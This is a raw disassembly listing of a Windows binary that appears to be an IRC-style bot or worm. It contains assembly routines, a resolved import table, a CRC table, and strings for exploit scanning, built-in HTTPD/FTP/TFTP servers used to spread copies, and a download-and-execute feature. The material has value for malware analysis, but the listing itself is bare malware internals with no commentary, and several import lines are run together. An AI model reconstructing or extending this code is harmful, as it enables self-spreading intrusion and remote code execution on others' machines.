loc_41E729:				; CODE XREF: sub_41E5A3+181j
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_41DB56
		dec	ebx
		pop	ecx
		jnz	short loc_41E720
		cmp	[ebp+var_18], 0
		jz	short loc_41E740
		or	byte ptr [ebp+var_28], 1


loc_41E740:				; CODE XREF: sub_41E5A3+162j
					; sub_41E5A3+170j ...
		cmp	word ptr [ebp+var_28], 8000h
		ja	short loc_41E757
		mov	eax, [ebp+var_28]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41E78C


loc_41E757:				; CODE XREF: sub_41E5A3+1A3j
		cmp	[ebp+var_28+2],	0FFFFFFFFh
		jnz	short loc_41E789
		and	[ebp+var_28+2],	0
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41E784
		and	[ebp+var_24+2],	0
		cmp	word ptr [ebp+var_20+2], 0FFFFh
		jnz	short loc_41E77E
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_20+2], 8000h
		jmp	short loc_41E78C
; ---------------------------------------------------------------------------


loc_41E77E:				; CODE XREF: sub_41E5A3+1CEj
		inc	word ptr [ebp+var_20+2]
		jmp	short loc_41E78C
; ---------------------------------------------------------------------------


loc_41E784:				; CODE XREF: sub_41E5A3+1C2j
		inc	[ebp+var_24+2]
		jmp	short loc_41E78C
; ---------------------------------------------------------------------------


loc_41E789:				; CODE XREF: sub_41E5A3+1B8j
		inc	[ebp+var_28+2]


loc_41E78C:				; CODE XREF: sub_41E5A3+1B2j
					; sub_41E5A3+1D9j ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41E7B0
		mov	cx, word ptr [ebp+var_28+2]
		mov	[esi], cx
		mov	ecx, [ebp+var_24]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_20]
		mov	[esi+6], ecx
		or	eax, edi


loc_41E7AA:				; CODE XREF: sub_41E5A3+93j
		mov	[esi+0Ah], ax
		jmp	short loc_41E7CB
; ---------------------------------------------------------------------------


loc_41E7B0:				; CODE XREF: sub_41E5A3+4Fj
					; sub_41E5A3+5Aj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41E7CB:				; CODE XREF: sub_41E5A3+B8j
					; sub_41E5A3+20Bj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_41E5A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E7DB	proc near		; CODE XREF: sub_41DC67+39Fp
					; sub_41E0A1+144p

var_10		= byte ptr -10h
var_E		= dword	ptr -0Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, offset dword_42D430
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		mov	[ebp+var_4], eax
		jz	short loc_41E859
		jge	short loc_41E809
		neg	[ebp+arg_4]
		mov	ebx, offset dword_42D590
		sub	ebx, 60h


loc_41E809:				; CODE XREF: sub_41E7DB+21j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41E814
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41E814:				; CODE XREF: sub_41E7DB+31j
		cmp	[ebp+arg_4], ecx
		jz	short loc_41E859
		push	esi
		push	edi


loc_41E81B:				; CODE XREF: sub_41E7DB+7Aj
		mov	eax, [ebp+arg_4]
		sar	[ebp+arg_4], 3
		and	eax, 7
		add	ebx, 54h
		cmp	eax, ecx
		jz	short loc_41E852
		lea	eax, [eax+eax*2]
		lea	esi, [ebx+eax*4]
		cmp	word ptr [esi],	8000h
		jb	short loc_41E845
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		dec	[ebp+var_E]
		lea	esi, [ebp+var_10]


loc_41E845:				; CODE XREF: sub_41E7DB+5Cj
		push	esi
		push	[ebp+arg_0]
		call	sub_41E5A3
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41E852:				; CODE XREF: sub_41E7DB+4Fj
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41E81B
		pop	edi
		pop	esi


loc_41E859:				; CODE XREF: sub_41E7DB+1Fj
					; sub_41E7DB+3Cj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_41E7DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E867	proc near		; CODE XREF: sub_40556E+31p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41E88E
		push	esi
		call	sub_416000
		inc	eax
		push	eax
		call	sub_41344D
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41E88E
		push	esi
		push	eax
		call	sub_41B390
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E88E:				; CODE XREF: sub_41E867+7j
					; sub_41E867+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41E867	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E8A0	proc near		; CODE XREF: sub_402B1D+14Ap
		jmp	ds:dword_41F1DC
sub_41E8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41E8A6	proc near		; CODE XREF: sub_413AD5+24p
					; sub_413E04+13p
		jmp	ds:dword_41F144
sub_41E8A6	endp

; ---------------------------------------------------------------------------
		mov	eax, dword_4338C0
		and	eax, 0FFFFFFFEh
		mov	dword_4338C0, eax
		retn
; ---------------------------------------------------------------------------


loc_41E8BA:				; DATA XREF: sub_405F46o
		mov	eax, offset dword_4288E4
		jmp	loc_413B27
_text		ends

; Section 2. (virtual address 0001F000)
; Virtual size			: 0000A356 (  41814.)
; Section size in file		: 0000A356 (  41814.)
; Offset to raw	data for section: 0001F000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rdata		segment	para public 'CODE' use32
		assume cs:_rdata
		;org 41F000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_41F000	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_401141+28Br ...
dword_41F004	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_40169B+32r ...
dword_41F008	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_401141+278r ...
dword_41F00C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_401141+25Br ...
dword_41F010	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_401141+183r ...
dword_41F014	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_4018D1+24Br ...
dword_41F018	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection					; sub_4166C5+28r ...
dword_41F01C	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSection					; sub_416673+28r ...
dword_41F020	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_41F024	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_4018D1+23Br ...
dword_41F028	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTimedword_41F02C	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_402795+D9r ...
dword_41F030	dd 7C802367h	; resolved to->KERNEL32.CreateProcessA					; sub_401F06+485r ...
dword_41F034	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_402795+B2r ...
dword_41F038	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_405915+AFr ...
dword_41F03C	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_4037B8+26r ...
dword_41F040	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_4078FA+3ECFr ...
dword_41F044	dd 7C80EDD7h	; resolved to->KERNEL32.FindClosedword_41F048	dd 7C80E7ECh	; resolved to->KERNEL32.FileTimeToSystemTimedword_41F04C	dd 7C80E866h	; resolved to->KERNEL32.FileTimeToLocalFileTimedword_41F050	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; sub_4030C4+648r
dword_41F054	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_41F058	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_40DC39+B9r ...
dword_41F05C	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_419BC9+2Dr ...
dword_41F060	dd 7C810A77h	; resolved to->KERNEL32.GetFileSize					; sub_403B4C+1F6r
dword_41F064	dd 7C83632Dh	; resolved to->KERNEL32.GetTimeFormatA					; sub_40FE1F+185r
dword_41F068	dd 7C8361EEh	; resolved to->KERNEL32.GetDateFormatA					; sub_40FE1F+16Er
dword_41F06C	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_405915+10Ar ...
dword_41F070	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_40468E:loc_404B24r ...
dword_41F074	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_4143B9+15r ...
dword_41F078	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_405915+F6r ...
dword_41F07C	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageAdword_41F080	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_41F084	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLockdword_41F088	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_41F08C	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_41F090	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_41F094	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_41F098	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_41F09C	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_41F0A0	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_4070E8+293r ...
dword_41F0A4	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathA					; sub_4078FA+2C1Ar
dword_41F0A8	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_414004:loc_414056r ...
dword_41F0AC	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_4182E4+22Dr ...
dword_41F0B0	dd 7C8216A4h	; resolved to->KERNEL32.GetComputerNameA					; .text:0040E564r
dword_41F0B4	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_40DDC6+7Dr ...
dword_41F0B8	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_4078FA+357Dr ...
dword_41F0BC	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcess					; sub_4070E8+24Br ...
dword_41F0C0	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiAdword_41F0C4	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_4074C6+10r ...
dword_41F0C8	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_40F3F5+A3r ...
dword_41F0CC	dd 7C835E8Fh	; resolved to->KERNEL32.MoveFileAdword_41F0D0	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessId					; sub_41C9A7+17r
dword_41F0D4	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_41F0D8	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_40D1EF+307r
dword_41F0DC	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_41F0E0	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_41F0E4	dd 7C85F90Fh	; resolved to->KERNEL32.PeekNamedPipe					; sub_40DC39+101r
dword_41F0E8	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandle					; sub_40F07B+6Br
dword_41F0EC	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; sub_40F2F9+48r ...
dword_41F0F0	dd 7C81B58Bh	; resolved to->KERNEL32.SetConsoleCtrlHandlerdword_41F0F4	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; sub_41CB47+23r
dword_41F0F8	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; sub_40FE1F+20r ...
dword_41F0FC	dd 7C830B14h	; resolved to->KERNEL32.GetLogicalDrivesdword_41F100	dd 7C873A31h	; resolved to->KERNEL32.GenerateConsoleCtrlEventdword_41F104	dd 7C80A05Dh	; resolved to->KERNEL32.WaitForMultipleObjectsdword_41F108	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_41F10C	dd 7C832044h	; resolved to->KERNEL32.SetEndOfFiledword_41F110	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_41F114	dd 7C9109EDh	; resolved to->NTDLL.RtlSizeHeapdword_41F118	dd 7C80BCCFh	; resolved to->KERNEL32.IsBadCodePtrdword_41F11C	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_41F120	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_41CDB8+6r
dword_41F124	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounterdword_41F128	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_41F12C	dd 7C812641h	; resolved to->KERNEL32.FlushFileBuffersdword_41F130	dd 7C81DC03h	; resolved to->KERNEL32.SetStdHandle					; sub_41B6EC:loc_41B742r
dword_41F134	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_4169A5+2B4r ...
dword_41F138	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_41318A+188r ...
dword_41F13C	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_4133A6+63r ...
dword_41F140	dd 7C8017E5h	; resolved to->KERNEL32.GetSystemTimeAsFileTime					; sub_41C9A7+Br
dword_41F144	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_41F148	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_41A5BE+5Dr
dword_41F14C	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_41F150	dd 7C8136D7h	; resolved to->KERNEL32.TlsFreedword_41F154	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Error					; sub_41BBD8+79r
dword_41F158	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadId					; sub_4154C7+55r ...
dword_41F15C	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValue					; sub_4154C7+3Dr
dword_41F160	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_41F164	dd 7C812D9Fh	; resolved to->KERNEL32.TlsAllocdword_41F168	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_41F16C	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_41F170	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_41F174	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_416D74+52r ...
dword_41F178	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_41F17C	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_4182E4+344r ...
dword_41F180	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_4182E4+15Br ...
dword_41F184	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_41F188	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_41F18C	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_4192C7+3Dr ...
dword_41F190	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; sub_41A5BE+188r
dword_41F194	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_41F198	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsAdword_41F19C	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsAdword_41F1A0	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_41F1A4	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_41F1A8	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_41F1AC	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_41A5BE+196r ...
dword_41F1B0	dd 7C801AD0h	; resolved to->KERNEL32.VirtualProtectdword_41F1B4	dd 7C812D56h	; resolved to->KERNEL32.GetSystemInfodword_41F1B8	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuery					; sub_41AE30+71r
dword_41F1BC	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeAdword_41F1C0	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_41AF01+128r
		align 8
dword_41F1C8	dd 80000015h	dword_41F1CC	dd 8000000Ah	dword_41F1D0	dd 80000002h	dword_41F1D4	dd 8000000Dh	dword_41F1D8	dd 80000012h						; sub_402B1D+58Br
dword_41F1DC	dd 80000097h	dword_41F1E0	dd 80000001h	dword_41F1E4	dd 80000010h	dword_41F1E8	dd 80000013h						; sub_402B1D+119r
dword_41F1EC	dd 80000073h						; sub_402B1D+49r
dword_41F1F0	dd 80000017h						; sub_402B1D+6Fr
dword_41F1F4	dd 8000000Bh	dword_41F1F8	dd 80000004h	dword_41F1FC	dd 80000003h						; sub_402A8B+80r ...
dword_41F200	dd 80000074h						; sub_402A8B+86r
dword_41F204	dd 80000009h						; sub_402B1D+B0r
		align 10h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_401000+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_401000+42o
		align 10h
aScanExploitSta	db '[SCAN]: Exploit Statistics:',0 ; DATA XREF: sub_401000+11o
aScanScanNotAct	db '[SCAN]: Scan not active.',0 ; DATA XREF: sub_4010CA+42o
		align 4
aScanCurrentIpS	db '[SCAN]: Current IP: %s.',0 ; DATA XREF: sub_4010CA+2Co
aHttpdFailedToS	db '[HTTPD]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_401141+38Do
		align 10h
aHttpdServerLis	db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0
					; DATA XREF: sub_401141+337o
					; sub_4078FA+3F73o
aFtpFailedToSta	db '[FTP]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_401141+27Fo
aFtpServerStart	db '[FTP]: Server started on: %s:%d, File: %s, Request: %s.',0
					; DATA XREF: sub_401141+228o
aTftpFailedToSt	db '[TFTP]: Failed to start server, error: <%d>.',0
					; DATA XREF: sub_401141+13Bo
		align 4
aTftpServerStar	db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0
					; DATA XREF: sub_401141+DBo
					; sub_4078FA+3DE3o
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_401525+42o
					; sub_406C33+3Do
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: sub_40169B+DCo
		align 4
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: sub_40169B+84o
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: sub_4018D1+1E0o
		align 4
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: sub_4018D1+16Eo
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: sub_4018D1+10Fo
aScanFailedToIn	db '[SCAN]: Failed to initialize critical section.',0
					; DATA XREF: sub_4018D1+A0o
		align 4
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_401BBB+35o
aAliasList	db '-[Alias List]-',0   ; DATA XREF: sub_401BBB+10o
		align 4
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_401C33+60o
		align 4
aLogsCleared_	db '[LOGS]: Cleared.',0 ; DATA XREF: sub_401CD3+1Ao
		align 10h
aLogListComplet	db '[LOG]: List complete.',0 ; DATA XREF: sub_401D45+DCo
		align 4
aLogBegin	db '[LOG]: Begin',0     ; DATA XREF: sub_401D45+3Fo
		align 4
		dd 0
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_41F968	dd 6272h						; sub_410A22+121o
aDownloadBadUrl	db '[DOWNLOAD]: Bad URL, or DNS Error: %s.',0 ; DATA XREF: sub_401F06+4B6o
		align 4
aDownloadUpda_0	db '[DOWNLOAD]: Update failed: Error executing file: %s.',0
					; DATA XREF: sub_401F06+4A8o
		align 4
aDownloadDown_0	db '[DOWNLOAD]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
					; DATA XREF: sub_401F06+403o
aDownloadExecut	db '[DOWNLOAD]: Execution failed: Error executing file: %s.',0
					; DATA XREF: sub_401F06:loc_4022BCo
aDownloadApplic	db '[DOWNLOAD]: Application succesfully executed: %s.',0
					; DATA XREF: sub_401F06+3ACo
		align 4
asc_41FA74:				; DATA XREF: sub_401F06+346o
					; sub_403E06+25Co ...
		unicode	0, < >,0
aDownloadOpenni	db '[DOWNLOAD]: Openning: %s %s.',0 ; DATA XREF: sub_401F06+2B4o
		align 4
aDownloadDownlo	db '[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec.',0
					; DATA XREF: sub_401F06+24Eo
		align 10h
dbl_41FAD0	dq 9.765625e-4		; DATA XREF: sub_401F06+21Dr
					; sub_401F06:loc_402143r ...
dbl_41FAD8	dq 4.294967296e9	; DATA XREF: sub_401F06+215r
					; sub_401F06+237r ...
aDownloadFilesi	db '[DOWNLOAD]: Filesize is incorrect: (%d != %d).',0
					; DATA XREF: sub_401F06+195o
		align 10h
aDownloadUpdate	db '[DOWNLOAD]: Update: %s (%dKB transferred).',0
					; DATA XREF: sub_401F06:loc_402069o
		align 4
aDownloadFileDo	db '[DOWNLOAD]: File download: %s (%dKB transferred).',0
					; DATA XREF: sub_401F06+15Co
		align 10h
aDownloadCouldn	db '[DOWNLOAD]: Couldn',27h,'t open file: %s.',0 ; DATA XREF: sub_401F06+77o
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4024AC:loc_4024EFo
					; sub_4060D0+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4024AC:loc_4024E9o
aDisk		db 'Disk',0             ; DATA XREF: sub_4024AC:loc_4024E3o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4024AC:loc_4024DDo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4024AC:loc_4024D7o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_4024AC:loc_4024D1o
a?:					; DATA XREF: sub_4024AC+1Fo
		unicode	0, <?>,0
aFailed		db 'failed',0           ; DATA XREF: sub_40253D:loc_402615o
					; sub_402658+2Do
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_40253D+6Co
		align 4
aMainSDriveSSTo	db '[MAIN]: %s Drive (%s): %s total, %s free, %s available.',0
					; DATA XREF: sub_402658+7Bo
aMainSDriveSFai	db '[MAIN]: %s Drive (%s): Failed to stat, device not ready.',0
					; DATA XREF: sub_402658+45o
		align 4
aA		db 'A:\',0              ; DATA XREF: sub_402717+39o
a221Goodbye_	db '221 Goodbye.',0Ah,0 ; DATA XREF: sub_402B1D+542o
		align 4
aQuit		db 'QUIT',0             ; DATA XREF: sub_402B1D+531o
					; sub_4078FA+5DDo
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_402B1D+528o
		align 4
aFtpFileTransfe	db '[FTP]: File transfer complete to IP: %s (%s).',0
					; DATA XREF: sub_402B1D+4DCo
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_402B1D+4C1o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_402B1D+491o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_402B1D:loc_402F97o
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_402B1D+470o
		align 4
